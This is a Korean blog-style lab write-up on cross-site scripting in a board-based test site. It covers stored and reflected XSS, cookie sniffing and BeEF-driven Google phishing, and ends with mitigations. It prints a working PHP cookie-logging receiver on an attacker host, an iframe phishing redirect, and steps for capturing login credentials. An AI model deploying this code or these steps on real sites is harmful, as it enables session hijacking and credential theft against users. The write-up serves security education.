XSS ( CROSS SITE SCRIPTING )

XSS ( CROSS SITE SCRIPTING )

 

 

 

XSS ( Cross site scripting ) 이란 스크립트를 삽입하여 웹 어플리케이션에서 순수하게 제공되는 동작 외에 부정적으로 일어나는 세션으로 공격대상이 Server가 아닌 Client이다. XSS ( Cross Site Scriptng ) 은 Stored XSS 와 reflected XSS 로 구분될 수 있는데, Stored XSS 는 악의적 스크립트가 서버에 저장되어 있는 방식으로 게시판 등을 이용하여 글을 저장하여 사용자가 열람하였을 경우 발생하는 공격을 말한다. 그리고 reflected XSS 는 하이퍼 링크를 이용하여 악의적 스크립트가 사용자 쪽에서 실행되는 것이며, 공격문장을 노출하여 스스로 실행한다는 특징이있다. 또한, 스크립트는 자체를 주소에 넣어 실행하며 서버에 저장되지 않고 스크립트 자체를 주소에 노출시켜 사용자가 직접 실행시키도록 하는 공격이다. XSS ( Cross Site Scripting ) 는 게시판 뿐만 아니라 URL 이나 검색 창 등 글을 적을 수 있는 모든 곳에서 공격이 이루어 질 수 있다.

그림 1.  XSS

그림 1. 의 그림은 XSS 공격 시나리오이다. 공격자가 게시물에 악성 스크립트를 등록한 후 사용자 또는 관리자가 스크립트 게시물을 열람하게 되면 게시물을 열람한 사용자의 쿠키 또는 기타 정보가 공격자 서버로 전송되게 된다. 전송된 정보를 이용하여 공격자는 관리자 계정으로 로그인하거나 사용자의 정보를 탈취할 수 있게 된다. 해당 권한을 이용한 추가 피해 또한 발생할 수 있다.

1.1.     STORED XSS                                                                                      
Stored XSS 취약점은 웹 애플리케이션 취약점이 있는 웹 서버에 악성 스크립트를 영구적으로 저장해 놓는 방법이다. 이 때 웹 사이트의 게시판, 사용자 프로필 및 코멘트 필드 등에 악성 스크립트를 삽입해 놓으면, 사용자가 사이트를 방문하여 저장되어 있는 페이지에 정보를 요청할 때, 서버는 악성 스크립트를 사용자에게 전달하여 사용자 브라우저에서 스크립트가 실행되면서 공격한다.

 

그림 2. Stored XSS 구성도

1.2.     reflected XSS                                                                                    
공격자는 먼저 정상적인 웹사이트에 XSS 취약점이 있는 것을 발견한 뒤 민감한 정보를 획득할 수 있는 공격용 악성 URL을 생성한다. 이 URL을 e-mail 이나 파일공유 사이트 등을 통해 배포해서 피해자가 URL을 클릭하면, 바로 공격 스크립트가 피해자로 반사되어 악성 URL 을 삽입한 사이트에 관련된 민감한 정보(ID/패스워드, 세션 정보)를 공격자에게 전송한다.

 

 

그림 3. reflected XSS 구성도

1.3.     XSS TEST                                                                                         
XSS ( Cross Site Scripting ) 테스트를 하기 위해 기본적으로 쉽게 테스트할 수 있는 게시판을 이용하였다. 게시판은 벼룩시장 / 정보나눔방 / 갤러리 / 질문과 답변 총 4개의 게시판이 존재하여 모두 테스트를 진행하였다. 기본적인 스크립트 코드인 <script>alert(“hi”)</script> 를 이용하였으며 이를 확인한 후 추가 실습을 진행하였다.

스크립트 <script>alert(“hi”)</script> 를 게시물에 입력하여 XSS ( Cross Site Scripting ) 취약점 존재 여부를 확인한 결과이다. 아래그림에서 보이는 것과 같이 “ hi ” 라는 내용의 스크립트가 나타나는 것을 확인할 수 있다.

 

 

 

" hihi " 라는 내용의 스크립트가 계속 반복해서 뜨며 다른 페이지로 이동할수도, 강제 종료할수도 없도록 제작된 것을 확인할 수 있었다. 만약 이러한 스크립트가 게시판 " 내용 " 에 적 혀진 것이 아닌 " 제목 " 란에 적혀진다면 해당 글을 읽지 않더라도 게시판에 접속만하면 바로 스크립트가 무한반복되어 해당 웹서버 이용에 큰 혼란을 줄 것이다. 

 

 

 

1.4.     쿠키 스니핑                                                                                        
쿠키란 사용자 인증 측면에서 봤을 때 사용자의 인증 데이터를 가지고 있는 값이다. 이는 클라이언트에 저장 되며, 파기 되기 전까지는 서버에 데이터를 요청할 때 항상 서버로 보내어진다. 인증 프로세스를 살펴보면 특정 웹사이트에서 아이디 패스워드를 입력하게 되면 서버는 “id=guest” 형태의 데이터를 쿠키를 통해 전송해준다. 이 데이터는 서버에 정보를 요청할 때마다 전송되어지기 때문에, 한번의 로그인으로 인해 계속 사이트를 로그인 한 상태로 남아 있을 수 있다. 이와 같은 경우 “id=guest” 라는 값을 클라이언트 즉 브라우저가 저장하고 있기 때문에 공격자에 의해 조작 될 수가 있다. “id=admin” 이라는 값으로 공격자가 조작하여 서버로 전송하게 된다면, 서버는 guest 사용자가 아닌 admin이라는 사용자로 인식을 하여, 동작하게 될 것이다. 이를 방어하기 위해 웹 서버는 세션을 사용하게 된다. 세션은 기존 공격의 문제점인 쿠키 값 변조를 막기 위해, 쿠키에 사용자 정보를 바로 전송하지 않고 서버에 사용자 정보를 저장해두고 그 저장해둔 데이터를 찾을 수 있는 키 값을 쿠키로 전송하게 된다.
이러한 방어 기법을 우회하기 위해 공격자는 XSS를 사용하여, 쿠키 값을 훔쳐내고, 훔쳐낸 데이터(세션 키)를 이용하여, 다른 사용자로 로그인할 수 있다.

 

아래 그림은 쿠키 스니핑 절차이다. 공격자는 웹 게시판을 이용해 악성 스크립트를 삽입한 후 정상사용자가 해당 게시판에 접근하게되면 정장 게시물인척 하며 쿠키값을 탈취하게 된다. 공격자는 가로챈 쿠키값을 이용해 관리자 혹은 타유저 아이디로 불법 로그인하게된다. 

 

 

 

실제로 공격에 쓰이는 스크립트를 이용하여 게시판에 글을 게시하였다.
Victim 의 Cookie 값을 획득하기 위해 아래와 같은 소스 코드를 입력한 뒤 Head 부분에 “ hihi “ 문자와 “ Welcome “ 이라는 Title 을 넣어준 후 미리 준비해 둔 Aparche Server 에 있는 cookie.php 파일을 이용하여 Cookie 값을 획득하는 코드를 입력하였다.

 

 

 Cookie.php 파일 안의 내용은 아래와 같으며 su.jpg 그림파일이 나타나면서 쿠키값을 가져올 수 있는 코드를 입력해 놓았다. 날짜 / 시간과 함께 쿠키값이 data.txt 파일에 저장될 수 있도록 하는 코드이다.

<? $cookie=$_GET['data']; $atime=date("y-m-d H:i:s"); $log=fopen("data.txt","a"); fwrite($log,$atime." ".$cookie."\r\n"); fclose($log); echo "<img src=http://192.168.17.1/su.jpg width=220 height=150></img>"; ?>

 

아래 보이는 그림은 data.txt 파일에 쿠키값이 날짜와 시간과 함께 저장되어 있는 것을 확인할 수 있다. 공격자는 쿠키값을 획득하기 위해 그림 5. 와 같은 코드를 삽입한 후 다른 사용자가 그 게시물을 열람하게 되면 su.jpg 사진이 나타나며 아무런 의심 없이 게시물 내용을 보게된다. 이때 쿠키값은 공격자의 data.txt 파일에 저장되게 되며 획득한 쿠키값을 이용해 타인으로 불법 로그인 할 수 있는 위험이 있다. 게시물을 열람한 피해자가 관리자권한을 가진 계정이라면 그 피해는 더욱 클 것으로 보인다.

 

 

 

어떤 웹 페이지에<script>alert(document.cookie)</script>가 포함되어 있는 어떤 페이지를 사용자가 읽을 때 마다, 브라우저는 이 스크립트를 실행하면서 쿠키 값을 보여주게 된다. 공격자는 ‘alert(document.cookie)’ 스크립트 대신 정교한 공격용 코드를 포함하여 다양한 공격을 수행할 수 있다.
이러한 쿠키를 훔치는 행위를 방지하기 위해 MS에서 보안 대책으로 Internet Explorer 6 버전부터 HttpOnly Cookie를 포함했다. HttpOnly는 Cookie에 새로운 속성을 부여한 것으로, Http에서만 사용할 수 있는 쿠키이다. 즉 HttpOnly 속성을 가지는Cookie는 Client Side Script에서 (javascript, vbscript 등) 컨트롤 할 수 없다. 이러한HttpOnly는 파이어폭스 브라우저에서도 모듈로 따로 지원하고 있다.
웹 페이지에서 접근이 필요 없는 쿠키는 반드시 HttpOnly 속성을 부여하여 웹 페이지의 보안
강도를 높이도록 해야 한다. 하지만 이렇게 쿠키에 접근이 불가능하게 되자, 공격자들은 다른 우회 방법을 통해 쿠키에 접근하려고 시도를 했다. 그 공격 기법이 XST(Cross Site Tracing) 공격인데, XST 공격은 웹 서버가 TRACE Method를 지원한다면 가능하다. TRACE Method는 에코
메커니즘 형태로 TRACE Method를 전송했을 때, 전송된 값이 그대로 다시 되돌아오는 Method이다.

3.5.     피싱                                                                                                   
피싱( phising ) 이란 개인정보 ( Private data ) 와 낚시 ( Fishing ) 의 합성어로 사용자 이름, 암호 및 신용 카드 번호를 포함한 기밀을 요하는 정보를 빼가기 위해 ISP, 은행 또는 온라인 경매 사이트와 같은 합법적인 기관으로 가장하여, 이메일이나 메신저를 통해 합법적인 사이트와 거의 비슷한 위조된 웹 사이트로 유인하여 사용자가 기밀 자료 등을 입력하도록 유도해서 빼내는 방식을 말한다.

 

아래그림은 피싱 공격 시나리오이다. 웹 사이트 게시판에 악성스크립트를 삽입하면 사용자는 악성 게시물을 열람하게된다. 게시물 열람 시 정상 웹사이트를 가장한 로그인 화면이 뜨며 해당 로그인페이지에 아이디와 비밀번호를 입력하게되면 입력정보는 공격자에게 노출되게 된다.

 

 

 

위의 사진은 피싱을 유도할 수 있도록 코드를 삽입한 내용이다. Cookie Sniffing 방법과 유사하게 코드가 진행되는데, 미리 준비해 둔 Aparche Server 에 phising.php 파일을 이용하여 피싱을 유도하도록 입력해 보았다.

 

아래 코드는 phising.php 파일의 간단한 코드 내용이다. 192.168.84.139 라는 Kali Linux 를 이용해 만들어 놓은 Aparche Server 에 강제로 접속을 유도하여 사용자의 입력값을 가로 챌 수 있는 환경을 만들어 주는 것이다.

 

<? echo "<iframe src=http://192.168.84.139 width=1500 height=900></iframe>"; ?>

<html> <head> <title>Welcome</title> </head> <body> <audio src="http://192.168.17.1/opera.mp3" loop="loop" autoplay="autoplay"></audio> <audio src="http://192.168.17.1/typing.mp3" loop="loop" autoplay="autoplay"></audio> <object width="900" height="500" data="http://192.168.17.1/welcome to hacking site.swf"> </object> </body> </html>

- wow.html 소스코드

Kali Linux 의 BeEF 기능을 이용해 Phising 환경을 구성한 후 해당 악성 URL에 피해자가 접속한 화면이다. 해당 HOST의 IP뿐만아니라 System 정보까지 모두 확인할 수 있었다.

 

 

 

 

 피해자의 IP, System 정보 뿐만 아니라 Log 기록까지 가로챈 것을 확인할 수 있다. 로그를 보면 악성 URL에 접속한 로그도 남아있으며 사용한 애플리케이션정보, 심지어 마우스 클릭한 좌표 까지 확인할 수 있다.

 

 

 

 

 

악성 URL에 접속한 화면이다. “ Ssong!!!^^ ” 문자와 함께 접속한 해당 URL 정보를 확인할 수 있다. 해당 URL 에 접속하게 되면 그림 9. 에서 확인한 바와 같이 피해자 Host의 모든 정보가 공격자에게 넘어가게 된다.

 

 

 

 

 

 

Kali Linux의 BeEF 기능 중 Google Phising 기법을 사용하여 피해자가 입력한 정보를 획득 할 수 있는 기능을 수행해 보겠다. Commands 메뉴에서 Google Phising 기능을 선택하면 우측에 Google Phising 이라는 Title 과 함께 피해자가 ID / Password 를 입력하게 되면 유도할 사이트 정보를 입력하는 란이 보이게 된다. XSS hook URL 에 해당 유도할 사이트 주소를 입력해 준 후 “ Execute ” 버튼을 클릭하게 되면 악성 URL 에 접속한 피해자의 Web Page 에 Google Login 페이지가 나타나게 된다.

 

 

 

 

 

 

Google 로그인 화면으로 보이는 페이지가 생성된 것을 볼 수 있다. 피해자는 해당 로그인 칸에 ID / Password 를 입력하게 되면 공격자에게 이 정보가 넘어가게 되며 개인정보 유출의 피해가 우려된다.

 

 

 

 

 

 

피해자가 로그인하게 되면 그림11. 에서 입력한 XSS hook URL 페이지가 뜨게 된다. XSS hook URL 페이지를 정상 Google page 로 유도한다면 피해자는 아무런 의심 없이 웹 서핑을 계속하게 되며 이 정보는 모두 공격자가 탈취할 수 있는 정보가 된다.

 

 

 

 

 

 

Google 페이지 로그인 에 로그인 한 후 공격자 ( Kali Linux의 BeEF 기능 ) 화면에 로그인한 ID 와 Password 내용을 확인할 수 있다. 이와 같은 공격을 통해 피해자의 개인정보나 로그인 정보등을 탈취할 수 있다.

 

 

피해유형	- 페이지 변조 : 이미지나 사운드를 삽입할 수 있다. - 쿠키 변형 : 쿠키 자체를 변형시켜서 쿠키에 악의적인 코드를 넣어둘 수 있다. - 쿠키 유출 : 사용자 쿠키 값을 획득하여, 인증우회에 사용한다. - 개인정보 유출 : 웹 페이지 내의 패스워드나 신용 카드 번호와 같은 민감한 정보를 유출시킬 수 있다. - 악성 프로그램 다운로드 : 스크립트 내에 악성 프로그램을 다운로드 받는 사이트를 링크시키며, 사용자가 모르는 사이 악성프로그램이 PC에 설치된다.
보안대책	- 스크립트 삽입 공격에 대한 근본적인 대응방법은 사용자로부터 입력받는 모든 값을 서버에서 입력 값 검증의 방법은 사용자 입력으로 사용 가능한 문자를 정해놓고, 나머지 모든 문자를 필터링 하는 방법을 사용하여야 한다. - 검증 대상 입력 값 : 스크립트 정의어(<script>, <object>, <applet>, <embed> 등) - 어플리케이션에서 사용자들의 모든 입력값을 점검, 허용된 데이터만 입력할 수 있도록 구현. => 입력되는 특수문자는 Entity형태로 변경하여 저장. - 검증은 반드시 서버에서 이루어지도록 개발하여야 한다.

  

맛집 해킹 hacking web 웹 네트워크 network 학원 해커 크래커 hacker cracker 강아지 dog 고양이 해운대 강남 서면 보쌈 치맥 치킨 맥주 육회 회 포렌식 침해대응 cert 관제 모의해킹 mobile 모바일 무선 wireless 디지털포렌식 Clanguage C언어 C# JSP JAVA tool 해킹방어대회 ctf 문제풀이 기타 맛집 해킹 hacking web 웹 네트워크 network 학원 해커 크래커 hacker cracker 강아지 dog 고양이 해운대 강남 서면 보쌈 치맥 치킨 맥주 육회 회 포렌식 침해대응 cert 관제 모의해킹 mobile 모바일 무선 wireless 디지털포렌식 Clanguage C언어 C# JSP JAVA tool 해킹방어대회 ctf 문제풀이 기타